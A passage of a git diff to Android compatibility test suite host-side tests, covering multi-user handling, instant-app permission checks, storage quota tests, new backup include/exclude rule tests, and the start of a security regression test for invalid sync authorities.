-                removeUserOnDevice(device, user);
+        final int[] userIds = getAllUsers(device);
+        for (int i = 1; i < userIds.length; i++) {
+            if (i < maxUsers) {
+                device.startUser(userIds[i]);
+            } else {
+                device.stopUser(userIds[i]);
             }
         }
-    }
-
-    private static int createUserOnDevice(ITestDevice device) throws DeviceNotAvailableException {
-        // TODO: move this to ITestDevice once it supports users
-        final String name = "CTS_" + System.currentTimeMillis();
-        final String output = device.executeShellCommand("pm create-user " + name);
-        if (output.startsWith("Success")) {
-            try {
-                final int userId = Integer.parseInt(
-                        output.substring(output.lastIndexOf(" ")).trim());
-                device.executeShellCommand("am start-user " + userId);
-                return userId;
-            } catch (NumberFormatException e) {
-                throw new AssertionError("Failed to parse result: " + output);
-            }
+        if (userIds.length > maxUsers) {
+            return Arrays.copyOf(userIds, maxUsers);
         } else {
-            throw new AssertionError("Failed to create user: " + output);
+            return userIds;
         }
     }
 
-    private static void removeUserOnDevice(ITestDevice device, int userId)
+    public static int[] getAllUsers(ITestDevice device)
             throws DeviceNotAvailableException {
-        // TODO: move this to ITestDevice once it supports users
-        final String output = device.executeShellCommand("pm remove-user " + userId);
-        if (output.startsWith("Error")) {
-            throw new AssertionError("Failed to remove user: " + output);
+        Integer primary = device.getPrimaryUserId();
+        if (primary == null) {
+            primary = USER_SYSTEM;
         }
+        int[] users = new int[] { primary };
+        for (Integer user : device.listUsers()) {
+            if ((user != USER_SYSTEM) && (user != primary)) {
+                users = Arrays.copyOf(users, users.length + 1);
+                users[users.length - 1] = user;
+            }
+        }
+        return users;
     }
-
 }
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
index b0f53e0..ed3c3cf 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
@@ -20,6 +20,8 @@
     <uses-sdk
         android:minSdkVersion="25" />
 
+    <uses-permission android:name="com.android.alarm.permission.SET_ALARM" />
+    <uses-permission android:name="android.permission.INTERNET" />
     <application
         android:label="@string/app_name">
         <uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index c9d0e45..32e0ce7 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -22,6 +22,7 @@
 import static org.junit.Assert.assertThat;
 import static org.junit.Assert.fail;
 
+import android.Manifest;
 import android.annotation.Nullable;
 import android.content.ActivityNotFoundException;
 import android.content.BroadcastReceiver;
@@ -86,9 +87,6 @@
      * Intents that we expect the system to expose activities to ephemeral apps to handle.
      */
     private static final Intent[] EXPECTED_EXPOSED_SYSTEM_INTENTS = new Intent[] {
-        // Camera
-        makeIntent(MediaStore.ACTION_IMAGE_CAPTURE, null, null, null),
-        makeIntent(MediaStore.ACTION_VIDEO_CAPTURE, null, null, null),
         // Contacts
         makeIntent(Intent.ACTION_PICK, null, ContactsContract.Contacts.CONTENT_TYPE, null),
         makeIntent(Intent.ACTION_PICK, null,
@@ -109,6 +107,14 @@
         makeIntent(Intent.ACTION_CHOOSER, null, null, null),
     };
 
+    /**
+     * Camera Intents that we expect the system to expose (if the system has FEATURE_CAMERA).
+     */
+    private static final Intent[] EXPECTED_EXPOSED_CAMERA_INTENTS = new Intent[] {
+        makeIntent(MediaStore.ACTION_IMAGE_CAPTURE, null, null, null),
+        makeIntent(MediaStore.ACTION_VIDEO_CAPTURE, null, null, null),
+    };
+
     private BroadcastReceiver mReceiver;
     private final SynchronousQueue<TestResult> mResultQueue = new SynchronousQueue<>();
 
@@ -954,10 +960,30 @@
     }
 
     @Test
+    public void testInstallPermissionNotGranted() throws Exception {
+        assertThat(InstrumentationRegistry.getContext()
+                    .checkCallingOrSelfPermission(Manifest.permission.SET_ALARM),
+                is(PackageManager.PERMISSION_DENIED));
+    }
+
+    @Test
+    public void testInstallPermissionGranted() throws Exception {
+        assertThat(InstrumentationRegistry.getContext()
+                    .checkCallingOrSelfPermission(Manifest.permission.INTERNET),
+                is(PackageManager.PERMISSION_GRANTED));
+    }
+
+    @Test
     public void testExposedSystemActivities() throws Exception {
         for (Intent queryIntent : EXPECTED_EXPOSED_SYSTEM_INTENTS) {
             assertIntentHasExposedActivities(queryIntent);
         }
+        if (InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
+            for (Intent queryIntent : EXPECTED_EXPOSED_CAMERA_INTENTS) {
+                assertIntentHasExposedActivities(queryIntent);
+            }
+        }
     }
 
     private void assertIntentHasExposedActivities(Intent queryIntent) throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index 4a4eef1..9d0dec6 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -23,7 +23,6 @@
 import static com.android.cts.storageapp.Utils.DATA_INT;
 import static com.android.cts.storageapp.Utils.MB_IN_BYTES;
 import static com.android.cts.storageapp.Utils.PKG_B;
-import static com.android.cts.storageapp.Utils.TAG;
 import static com.android.cts.storageapp.Utils.assertMostlyEquals;
 import static com.android.cts.storageapp.Utils.getSizeManual;
 import static com.android.cts.storageapp.Utils.makeUniqueFile;
@@ -42,7 +41,6 @@
 import android.os.storage.StorageManager;
 import android.system.Os;
 import android.test.InstrumentationTestCase;
-import android.util.Log;
 
 import java.io.File;
 import java.io.IOException;
@@ -62,9 +60,19 @@
 
     public void testFullDisk() throws Exception {
         if (shouldHaveQuota(Os.uname())) {
-            Hoarder.doBlocks(getContext().getDataDir(), true);
+            final File dataDir = getContext().getDataDir();
+
+            // Pre-flight to see if we have enough disk space to test with
+            final long total = dataDir.getTotalSpace();
+            final long free = dataDir.getFreeSpace();
+            final long required = ((total * 9) / 10) + MB_IN_BYTES;
+            if (free < required) {
+                fail("Skipping full disk test; only found " + free + " free out of " + total);
+            }
+
+            Hoarder.doBlocks(dataDir, true);
         } else {
-            Log.d(TAG, "Skipping full disk test due to missing quota support");
+            fail("Skipping full disk test due to missing quota support");
         }
     }
 
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
index ebc2946..713ba17 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
@@ -95,10 +95,13 @@
     public void testVerifySummary() throws Exception {
         final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
 
-        assertAtLeast(Environment.getDataDirectory().getTotalSpace(),
-                stats.getTotalBytes(UUID_DEFAULT));
-        assertAtLeast(Environment.getDataDirectory().getUsableSpace(),
-                stats.getFreeBytes(UUID_DEFAULT));
+        final long actualTotal = stats.getTotalBytes(UUID_DEFAULT);
+        final long expectedTotal = Environment.getDataDirectory().getTotalSpace();
+        assertAtLeast(expectedTotal, actualTotal);
+
+        final long actualFree = stats.getFreeBytes(UUID_DEFAULT);
+        final long expectedFree = Environment.getDataDirectory().getUsableSpace();
+        assertAtLeast(expectedFree, actualFree);
     }
 
     public void testVerifyStats() throws Exception {
diff --git a/hostsidetests/backup/AndroidTest.xml b/hostsidetests/backup/AndroidTest.xml
index d123a76..5c33080 100644
--- a/hostsidetests/backup/AndroidTest.xml
+++ b/hostsidetests/backup/AndroidTest.xml
@@ -18,6 +18,7 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsBackupRestoreDeviceApp.apk" />
         <option name="test-file-name" value="CtsFullbackupApp.apk" />
+        <option name="test-file-name" value="CtsIncludeExcludeApp.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsBackupHostTestCases.jar" />
diff --git a/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java b/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
index 7c3a6f6..ee49b87 100644
--- a/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
+++ b/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
@@ -36,7 +36,7 @@
 import java.util.Random;
 
 /**
- * Device side routines to be invoked by the host side NoBackupFolderHostSideTest. These are not
+ * Device side routines to be invoked by the host side FullbackupRulesHostSideTest. These are not
  * designed to be called in any other way, as they rely on state set up by the host side test.
  */
 @RunWith(AndroidJUnit4.class)
@@ -98,7 +98,7 @@
         // Delete test data
         deleteAllFiles();
 
-        // No there should be no files left
+        // Now there should be no files left
         checkNoFilesExist();
     }
 
diff --git a/hostsidetests/backup/includeexcludeapp/Android.mk b/hostsidetests/backup/includeexcludeapp/Android.mk
new file mode 100644
index 0000000..9c55290
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsIncludeExcludeApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml b/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml
new file mode 100644
index 0000000..3726eca
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.includeexcludeapp">
+
+    <application android:label="IncludeExcludeBackupApp"
+                 android:fullBackupContent="@xml/my_backup_rules">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.includeexcludeapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/includeexcludeapp/res/xml/my_backup_rules.xml b/hostsidetests/backup/includeexcludeapp/res/xml/my_backup_rules.xml
new file mode 100644
index 0000000..dca51f5
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/res/xml/my_backup_rules.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="utf-8"?>
+<full-backup-content>
+    <include domain="file" path="."/>
+    <exclude domain="file" path="exclude_folder"/>
+    <include domain="sharedpref" path="."/>
+    <exclude domain="sharedpref" path="exclude_shared_pref.xml"/>
+    <include domain="database" path="db_name/file_to_include"/>
+    <exclude domain="database" path="db_name/file_to_exclude"/>
+    <include domain="external" path="."/>
+    <exclude domain="external" path="exclude_folder"/>
+    <include domain="root" path="file_to_include"/>
+    <exclude domain="root" path="file_to_exclude"/>
+</full-backup-content>
\ No newline at end of file
diff --git a/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java b/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java
new file mode 100644
index 0000000..83b932b
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java
@@ -0,0 +1,259 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.includeexcludeapp;
+
+import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Random;
+
+/**
+ * Device side routines to be invoked by the host side FullbackupRulesHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+public class IncludeExcludeTest {
+    public static final String TAG = "IncludeExcludeCTSApp";
+    private static final int FILE_SIZE_BYTES = 1024 * 1024;
+    private static final String SHARED_PREF_KEY1 = "dummy_key1";
+    private static final String SHARED_PREF_KEY2 = "dummy_key2";
+    private static final int SHARED_PREF_VALUE1 = 1337;
+    private static final int SHARED_PREF_VALUE2 = 1338;
+
+    private Context mContext;
+
+    private List<File> mIncludeFiles;
+    private List<File> mExcludeFiles;
+
+    private SharedPreferences mIncludeSharedPref;
+    private SharedPreferences mExcludeSharedPref;
+
+    @Before
+    public void setUp() {
+        mContext = getTargetContext();
+        setupFiles();
+    }
+
+    private void setupFiles() {
+
+        // We add all the files we expect to be backed up accoring to res/my_backup_rules.xml to
+        // the mIncludeFiles list, and all files expected not to be to mExcludeFiles.
+        mIncludeFiles = new ArrayList<File>();
+        mExcludeFiles = new ArrayList<File>();
+
+        // Files in the normal files directory.
+        File filesDir = mContext.getFilesDir();
+        File excludeFolder = new File(filesDir, "exclude_folder");
+        mIncludeFiles.add(new File(filesDir, "file_to_include"));
+        mExcludeFiles.add(new File(excludeFolder, "file_to_exclude"));
+
+        // Files in database directory.
+        File databaseDir = mContext.getDatabasePath("db_name");
+        mIncludeFiles.add(new File(databaseDir, "file_to_include"));
+        mExcludeFiles.add(new File(databaseDir, "file_to_exclude"));
+
+        // Files in external files directory.
+        File externalDir = mContext.getExternalFilesDir(null);
+        File excludeExternalFolder = new File(externalDir, "exclude_folder");
+        mIncludeFiles.add(new File(externalDir, "file_to_include"));
+        mExcludeFiles.add(new File(excludeExternalFolder, "file_to_exclude"));
+
+        // Files in root directory
+        File rootDir = mContext.getDataDir();
+        mIncludeFiles.add(new File(rootDir, "file_to_include"));
+        mExcludeFiles.add(new File(rootDir, "file_to_exclude"));
+
+        // Set up SharedPreferences
+        mIncludeSharedPref =
+                mContext.getSharedPreferences("include_shared_pref", Context.MODE_PRIVATE);
+        mExcludeSharedPref =
+                mContext.getSharedPreferences("exclude_shared_pref", Context.MODE_PRIVATE);
+    }
+
+    @Test
+    public void createFiles() throws Exception {
+        // Make sure the data does not exist from before
+        deleteAllFiles();
+        deleteSharedPref();
+        checkNoFilesExist();
+        checkSharedPrefDontExist();
+
+        // Create test data
+        generateFiles();
+        generateSharedPrefs();
+
+        checkAllFilesExist();
+        checkSharedPrefExist();
+    }
+
+    @Test
+    public void deleteFilesAfterBackup() throws Exception {
+        // Make sure the test data exists first
+        checkAllFilesExist();
+        checkSharedPrefExist();
+
+        // Delete test data
+        deleteAllFiles();
+        deleteSharedPref();
+
+        // Now there should be no files left
+        checkNoFilesExist();
+        checkSharedPrefDontExist();
+    }
+
+    @Test
+    public void checkRestoredFiles() throws Exception {
+        // After a restore, only files in the mIncludeFiles list should exist.
+        checkIncludeFilesDoExist();
+        checkExcludeFilesDoNotExist();
+
+        // Also check that the SharedPreferences were restored, except the excluded ones.
+        checkIncludeSharedPrefExist();
+        checkExcludeSharedPrefDoNotExist();
+    }
+
+    private void generateFiles() {
+        try {
+            // Add data to all the files we created
+            for (File file : mIncludeFiles) {
+                addData(file);
+            }
+            for (File file : mExcludeFiles) {
+                addData(file);
+            }
+        } catch (IOException e) {
+            fail("Unable to generate files: " + e);
+        }
+    }
+
+    private void deleteAllFiles() {
+        for (File file : mIncludeFiles) {
+            file.delete();
+        }
+        for (File file : mExcludeFiles) {
+            file.delete();
+        }
+    }
+
+    private void addData(File file) throws IOException {
+        file.getParentFile().mkdirs();
+
+        byte[] bytes = new byte[FILE_SIZE_BYTES];
+        new Random().nextBytes(bytes);
+
+        try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
+            bos.write(bytes, 0, bytes.length);
+        }
+    }
+
+    private void checkAllFilesExist() {
+        for (File file: mIncludeFiles) {
+            assertTrue("File did unexpectedly not exist: " + file.getAbsolutePath(), file.exists());
+        }
+        for (File file: mExcludeFiles) {
+            assertTrue("File did unexpectedly not exist: " + file.getAbsolutePath(), file.exists());
+        }
+    }
+
+    private void checkNoFilesExist() {
+        for (File file: mIncludeFiles) {
+            assertFalse("File did unexpectedly exist: " + file.getAbsolutePath(), file.exists());
+        }
+        for (File file: mExcludeFiles) {
+            assertFalse("File did unexpectedly exist: " + file.getAbsolutePath(), file.exists());
+        }
+    }
+
+    private void checkExcludeFilesDoNotExist() {
+        for (File file: mExcludeFiles) {
+            assertFalse("File expected not to be restored did exist: " + file.getAbsolutePath(),
+                    file.exists());
+        }
+    }
+
+    private void checkIncludeFilesDoExist() {
+        for (File file: mIncludeFiles) {
+            assertTrue("File expected to be restored did not exist: " + file.getAbsolutePath(),
+                    file.exists());
+        }
+    }
+
+    private void generateSharedPrefs() {
+        SharedPreferences.Editor editor = mIncludeSharedPref.edit();
+        editor.putInt(SHARED_PREF_KEY1, SHARED_PREF_VALUE1);
+        editor.commit();
+
+
+        editor = mExcludeSharedPref.edit();
+        editor.putInt(SHARED_PREF_KEY2, SHARED_PREF_VALUE2);
+        editor.commit();
+    }
+
+    private void checkSharedPrefExist() {
+        int value = mIncludeSharedPref.getInt(SHARED_PREF_KEY1, 0);
+        assertEquals("Shared preference did not exist", SHARED_PREF_VALUE1, value);
+
+        value = mExcludeSharedPref.getInt(SHARED_PREF_KEY2, 0);
+        assertEquals("Shared preference did not exist", SHARED_PREF_VALUE2, value);
+    }
+
+    private void deleteSharedPref() {
+        SharedPreferences.Editor editor = mIncludeSharedPref.edit();
+        editor.clear();
+        editor.commit();
+
+        editor = mExcludeSharedPref.edit();
+        editor.clear();
+        editor.commit();
+    }
+
+    private void checkSharedPrefDontExist() {
+        int value = mIncludeSharedPref.getInt(SHARED_PREF_KEY1, 0);
+        assertEquals("Shared preference did exist", 0, value);
+
+        value = mExcludeSharedPref.getInt(SHARED_PREF_KEY2, 0);
+        assertEquals("Shared preference did exist", 0, value);
+    }
+
+    private void checkIncludeSharedPrefExist() {
+        int value = mIncludeSharedPref.getInt(SHARED_PREF_KEY1, 0);
+        assertEquals("Shared preference did not exist", SHARED_PREF_VALUE1, value);
+    }
+
+    private void checkExcludeSharedPrefDoNotExist() {
+        int value = mExcludeSharedPref.getInt(SHARED_PREF_KEY2, 0);
+        assertEquals("Shared preference did exist", 0, value);
+    }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
new file mode 100644
index 0000000..79ec24c
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static org.junit.Assert.assertTrue;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test checking that files created by an app are restored successfully after a backup, but that
+ * files put in the folder provided by getNoBackupFilesDir() [files/no_backup] are NOT backed up,
+ * and that files are included/excluded according to rules defined in the manifest.
+ *
+ * Invokes device side tests provided by android.cts.backup.fullbackupapp.FullbackupTest and
+ * android.cts.backup.includeexcludeapp.IncludeExcludeTest.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class FullbackupRulesHostSideTest extends BaseBackupHostSideTest {
+
+    private static final String FULLBACKUP_TESTS_APP_NAME = "android.cts.backup.fullbackupapp";
+    private static final String FULLBACKUP_DEVICE_TEST_CLASS_NAME =
+            FULLBACKUP_TESTS_APP_NAME + ".FullbackupTest";
+
+    private static final String INCLUDE_EXCLUDE_TESTS_APP_NAME =
+            "android.cts.backup.includeexcludeapp";
+    private static final String INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME =
+            INCLUDE_EXCLUDE_TESTS_APP_NAME + ".IncludeExcludeTest";
+
+    @Test
+    public void testNoBackupFolder() throws Exception {
+        // Generate the files that are going to be backed up.
+        checkDeviceTest(FULLBACKUP_TESTS_APP_NAME, FULLBACKUP_DEVICE_TEST_CLASS_NAME,
+                "createFiles");
+
+        // Do a backup
+        String backupnowOutput = backupNow(FULLBACKUP_TESTS_APP_NAME);
+
+        assertBackupIsSuccessful(FULLBACKUP_TESTS_APP_NAME, backupnowOutput);
+
+        // Delete the files
+        checkDeviceTest(FULLBACKUP_TESTS_APP_NAME, FULLBACKUP_DEVICE_TEST_CLASS_NAME,
+                "deleteFilesAfterBackup");
+
+        // Do a restore
+        String restoreOutput = restore(FULLBACKUP_TESTS_APP_NAME);
+
+        assertRestoreIsSuccessful(restoreOutput);
+
+        // Check that the right files were restored
+        checkDeviceTest(FULLBACKUP_TESTS_APP_NAME, FULLBACKUP_DEVICE_TEST_CLASS_NAME,
+                "checkRestoredFiles");
+    }
+
+    @Test
+    public void testIncludeExcludeRules() throws Exception {
+        // Generate the files that are going to be backed up.
+        checkDeviceTest(INCLUDE_EXCLUDE_TESTS_APP_NAME, INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
+                "createFiles");
+
+        // Do a backup
+        String backupnowOutput = backupNow(INCLUDE_EXCLUDE_TESTS_APP_NAME);
+        assertBackupIsSuccessful(INCLUDE_EXCLUDE_TESTS_APP_NAME, backupnowOutput);
+
+        // Delete the files
+        checkDeviceTest(INCLUDE_EXCLUDE_TESTS_APP_NAME, INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
+                "deleteFilesAfterBackup");
+
+        // Do a restore
+        String restoreOutput = restore(INCLUDE_EXCLUDE_TESTS_APP_NAME);
+        assertRestoreIsSuccessful(restoreOutput);
+
+        // Check that the right files were restored
+        checkDeviceTest(INCLUDE_EXCLUDE_TESTS_APP_NAME, INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
+                "checkRestoredFiles");
+    }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/NoBackupFolderHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/NoBackupFolderHostSideTest.java
deleted file mode 100644
index 56f8f5c..0000000
--- a/hostsidetests/backup/src/android/cts/backup/NoBackupFolderHostSideTest.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup;
-
-import static org.junit.Assert.assertTrue;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Test checking that files created by an app are restored successfully after a backup, but that
- * files put in the folder provided by getNoBackupFilesDir() [files/no_backup] are NOT backed up.
- *
- * Invokes device side tests provided by android.cts.backup.fullbackupapp.FullbackupTest.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class NoBackupFolderHostSideTest extends BaseBackupHostSideTest {
-
-    private static final String TESTS_APP_NAME = "android.cts.backup.fullbackupapp";
-    private static final String DEVICE_TEST_CLASS_NAME = TESTS_APP_NAME + ".FullbackupTest";
-
-    @Test
-    public void testNoBackupFolder() throws Exception {
-        // Generate the files that are going to be backed up.
-        checkDeviceTest(TESTS_APP_NAME, DEVICE_TEST_CLASS_NAME, "createFiles");
-
-        // Do a backup
-        String backupnowOutput = backupNow(TESTS_APP_NAME);
-
-        assertBackupIsSuccessful(TESTS_APP_NAME, backupnowOutput);
-
-        // Delete the files
-        checkDeviceTest(TESTS_APP_NAME, DEVICE_TEST_CLASS_NAME, "deleteFilesAfterBackup");
-
-        // Do a restore
-        String restoreOutput = restore(TESTS_APP_NAME);
-
-        assertRestoreIsSuccessful(restoreOutput);
-
-        // Check that the right files were restored
-        checkDeviceTest(TESTS_APP_NAME, DEVICE_TEST_CLASS_NAME, "checkRestoredFiles");
-    }
-}
diff --git a/hostsidetests/content/src/android/content/cts/InvalidSyncAuthoritiesHostTest.java b/hostsidetests/content/src/android/content/cts/InvalidSyncAuthoritiesHostTest.java
new file mode 100644
index 0000000..ebffbe6
--- /dev/null
+++ b/hostsidetests/content/src/android/content/cts/InvalidSyncAuthoritiesHostTest.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import android.appsecurity.cts.Utils;
+import android.platform.test.annotations.SecurityTest;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+/**
+ * Tests that invalid authorities are cleared from the sync data files on boot.
+ * Otherwise a malicious app can effectively DOS the filesystem and the user can only get out of it
+ * via a factory reset.
+ */
+@SecurityTest
+public class InvalidSyncAuthoritiesHostTest extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String DEVICE_TEST_PACKAGE = "android.content.sync.cts";
+    private static final String DEVICE_TEST_CLASS = ".InvalidSyncAuthoritiesDeviceTest";
+    private static final String DEVICE_TEST_APK = "CtsSyncInvalidAccountAuthorityTestCases.apk";
+
+    private CompatibilityBuildHelper mBuildHelper;
+
+    @Override
+    public void setBuild(IBuildInfo iBuildInfo) {
+        mBuildHelper = new CompatibilityBuildHelper(iBuildInfo);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        getDevice().uninstallPackage(DEVICE_TEST_PACKAGE);
+
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(DEVICE_TEST_APK), false,
+                false));
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        try {
+            runDeviceTests(DEVICE_TEST_PACKAGE, DEVICE_TEST_CLASS, "removeTestAccount");
